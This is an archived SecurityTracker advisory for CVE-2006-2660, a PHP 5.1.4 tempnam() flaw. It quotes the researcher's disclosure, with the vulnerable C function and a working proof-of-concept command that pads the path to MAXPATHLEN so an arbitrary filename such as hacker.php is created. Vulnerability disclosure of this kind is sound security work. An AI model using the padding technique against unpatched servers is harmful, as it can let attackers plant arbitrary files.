SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   PHP Vendors:   PHP Group
PHP tempnam() Function Can Be Bypassed
SecurityTracker Alert ID:  1016271
SecurityTracker URL:  http://securitytracker.com/id/1016271
CVE Reference:   CVE-2006-2660   (Links to External Site)
Date:  Jun 12 2006
Impact:   Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 5.1.4
Description:   A vulnerability was reported in PHP. A user may be able to bypass the tempnam() unique file naming function.

The tempnam() function may not assign a unique filename in some cases. A specially crafted path value can be provided to cause the function to fail to create a unique file name. A path value that, after concatenating a unique string, would result in a full path that is longer than MAXPATHLEN will trigger the flaw.

Maksymilian Arciemowicz (cXIb8O3) of SecurityReason.com discovered this vulnerability.

Impact:   A user may be able to cause an application using the tempnam() function to create a filename that is not unique. If the application depends on the uniqueness of filenames, there may be some security impact.
Solution:   The vendor has issued a fix, available via CVS.
Vendor URL:  www.php.net/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  tempnam() Bypass unique file name PHP 5.1.4

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[tempnam() Bypass unique file name PHP 5.1.4]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 22.5.2006
- -Public: 11.6.2006
from SECURITYREASON.COM
CVE-2006-2660

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific
 features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

 much of the PHP Conference Material is freely available.
tempnam -- Create file with unique file name.

- --- 1. tempnam() Bypass unique file name ---
In lastes adv i have public an issue "Open Basedir Bypass". In function tempname() are required 2 arg`s.

http://pl.php.net/manual/en/function.tempnam.php

string tempnam ( string dir, string prefix )

In PHP 5.1.4 exists bug that allows you to create file with any name.

- ---
cxib# php -r 'echo tempnam("/www/temp/", "hacker.php")."\n";'
/www/temp/hacker.phpGQMqSE 
- ---

You have created file /www/temp/hacker.phpGQMqSE. "GQMqSE" is automatically added to filename.
Problem exists, because  path couldn't be longer than MAXPATHLEN. In standard MAXPATHLEN is 1024B. 

- -771-805---
PHP_FUNCTION(tempnam)
{
	zval **arg1, **arg2;
	char *d;
	char *opened_path;
	char *p;
	int fd;
	size_t p_len;

	if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) == FAILURE) {
		WRONG_PARAM_COUNT;
	}
	convert_to_string_ex(arg1);
	convert_to_string_ex(arg2);

	if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
		RETURN_FALSE;
	}
	
	d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));

	php_basename(Z_STRVAL_PP(arg2), Z_STRLEN_PP(arg2), NULL, 0, &p, &p_len TSRMLS_CC);
	if (p_len > 64) {
		p[63] = '\0';
	}

	if ((fd = php_open_temporary_fd(d, p, &opened_path TSRMLS_CC)) >= 0) {
		close(fd);
		RETVAL_STRING(opened_path, 0);
	} else {
		RETVAL_FALSE;
	}
	efree(p);
	efree(d);
}
- -771-805---

So if you create path like /www/../www/.. etc. 

arg1+arg2=1023

uniqueid is not given to path. 

Example:

- ---
cxib# php -r 'echo tempnam("/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./
 www/../www/../www/../www/../www/../www/../www/temp/", "hacker.php")."\n";'
/www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../w
ww/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../dupa/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www
/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/../www/.
./
 www/../www/../www/temp/hacker.php
- ---

= /www/temp/hacker.php

- ---
cxib# ls -la /www/temp/hacker*
- -rw-------  1 cxib  cxib  0 May 22 23:33 /www/temp/hacker.php
- -rw-------  1 cxib  cxib  0 May 22 23:26 /www/temp/hacker.phpGQMqSE
- ---


- --- 2. How to fix ---
CVS
http://cvs.php.net/viewcvs.cgi/php-src/NEWS

- --- 3. Greets ---

For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec ;]

- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)

iD8DBQFEjGMW3Ke13X/fTO4RAl50AKCH7H7pDtfjTLcZ02+izd3P25fkvACfS7tK
tTnC41pJ3aQEAEvt580AqI0=
=ZfrH
-----END PGP SIGNATURE-----

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC